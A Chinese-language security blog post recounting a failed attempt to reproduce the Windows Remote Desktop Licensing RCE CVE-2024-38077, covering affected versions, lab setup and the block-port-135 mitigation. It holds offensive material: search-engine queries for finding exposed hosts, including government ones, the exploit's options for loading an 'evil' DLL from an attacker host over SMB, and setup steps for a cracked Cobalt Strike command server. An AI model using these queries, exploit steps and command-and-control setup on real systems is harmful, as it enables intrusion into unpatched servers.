【POC未成功控制】Windows 远程桌面授权服务远程代码执行漏洞 CVE-2024-38077 漏洞狂躁许可（MadLicense）

Thu, 15 Aug 2024 16:43:45 +0000

参考链接 Windows 远程桌面授权服务远程代码执行漏洞(CVE-2024-38077) Windows 远程桌面授权服务远程代码执行漏洞关于Windows远程桌面许可服务存在远程代码执行漏洞的安全公告微软高危漏洞 CVE-2024-38077 EXP CVE-2024-38077-EXP 漏洞预警 | 已复现】Windows 远程桌面授权服务远程代码执行漏洞（CVE-2024-38077）附POC

漏洞影响的产品和版本

 1Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
 2Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
 3Windows Server 2008 R2 for x64-based Systems Service Pack 1
 4Windows Server 2008 R2 for x64-based Systems Service Pack 1
 5Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)
 6Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)
 7Windows Server 2008 for x64-based Systems Service Pack 2
 8Windows Server 2008 for x64-based Systems Service Pack 2
 9Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)
10Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)
11Windows Server 2008 for 32-bit Systems Service Pack 2
12Windows Server 2008 for 32-bit Systems Service Pack 2
13Windows Server 2012 R2 (Server Core installation)
14Windows Server 2012 R2
15Windows Server 2012 (Server Core installation)
16Windows Server 2012
17Windows Server 2016 (Server Core installation)
18Windows Server 2016
19Windows Server 2019 (Server Core installation)
20Windows Server 2019
21Windows Server 2022, 23H2 Edition (Server Core installation)
22Windows Server 2022 (Server Core installation)
23Windows Server 2022
24Windows Server 2025 Preview

用法

靶场搭建

开一个普通的Windows Server 2012 R2 数据中心版 64位中文版服务器。

打开服务器管理器。在命令提示符（cmd）中输入 “servermanager” 命令打开 “服务器管理器”。

添加角色和功能。点击 “添加” ，然后弹出角色和功能向导。默认点击下一步到 “服务器角色” 功能。添加 “远程桌面服务”。选择后默认下一步进行安装，直到显示 “角色服务” 。在这里选择 “远程桌面授权” ，然后点击 “安装” 。安装过程可能需要等待1-2分钟。

安装完成后需要手动开启服务。在命令提示符（cmd）中输入 “services.msc” 命令，成功打开 “服务” 窗口，找到 “Remote Procedure Call (RPC) Locator” 点击开启RPC服务即可完成。

搜索语法

ZoomEye搜索

1"3d267954-eeb7-11d1-b94e-00c04fa3080d"
2"3d267954-eeb7-11d1-b94e-00c04fa3080d" + country:"CN"

Hunter搜索

1ip.ports="3389" && ip.ports="135" && icp.is_exception="true"
2ip.ports="135"&&icp.is_exception="true"&&icp.name="政府"

检测

方法一：下载深信服CVE-2024-38077漏洞扫描工具.exe，使用命令.\深信服CVE-2024-38077漏洞扫描工具.exe 49.235.229.3 检查目标是否存在该漏洞。

方法二：下载利用工具CVE-2024-38077-EXP

1python CVE-2024-38077-POC.py --target_ip 靶机IP

利用

1options:
2 -h, --help show this help message and exit
3 --target_ip TARGET_IP
4 Target IP, eg: 192.168.120.1
5 --evil_ip EVIL_IP Evil IP, eg: 192.168.120.2
6 --evil_dll_path EVIL_DLL_PATH
7 Evil dll path, eg: \smb\evil_dll.dll
8 --check_vuln_exist CHECK_VULN_EXIST
9 Check vulnerability exist before exploit

有一个公众号复现视频模糊的背景看出似乎要CS？

cobaltstrike-client的使用

CobaltStrike使用教程详解（基础）

下载CS4.8，解压密码mht。

CS需要一个CS服务器，一个控制机（攻击机），被控机（靶机）。首先在CS服务器上安装java11，然后设置权限全部可执行，设置密码启动。

1推荐使用ubuntu18运行
2sudo apt install openjdk-11-jre-headless
3sudo apt install openjdk-11-jdk
4chmod 777 teamserver
5chmod 777 TeamServerImage
6./teamserver CS服务器公网IP passwd

在控制机上cobaltstrike-client也是需要Java11才能启动。

1java -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC -javaagent:uHook.jar -Dfile.encoding=utf-8 -jar cobaltstrike-client.jar

输入之前设置的主机ip和密码就可以，端口默认。

执行多次不成功，看报错提示似乎还需要一个dll文件。后台翻Github发现POC仅针对2025，好好好好，这么玩是吧，什么垃圾。

总结评价

没啥用了的噱头很大的鸡肋漏洞，漏洞本身价值很大，但是防守应急处置手段太过简单，没有沉没代价，只要封一个135端口就行，基本不影响业务。默认情况下，Windows服务器远程桌面服务仅支持两个并发会话，在启用RDP多并发会话支持时，需要手动安装RDL服务。不排除还有未更新的和未关闭端口的服务，总之是看谁手速快了。

我现在因为复现失败很狂躁，不愧是狂躁许可（MadLicense），真是让人狂躁。

Windows远程桌面 on 静静的安全笔记

【POC未成功控制】Windows 远程桌面授权服务远程代码执行漏洞 CVE-2024-38077 漏洞 狂躁许可（MadLicense）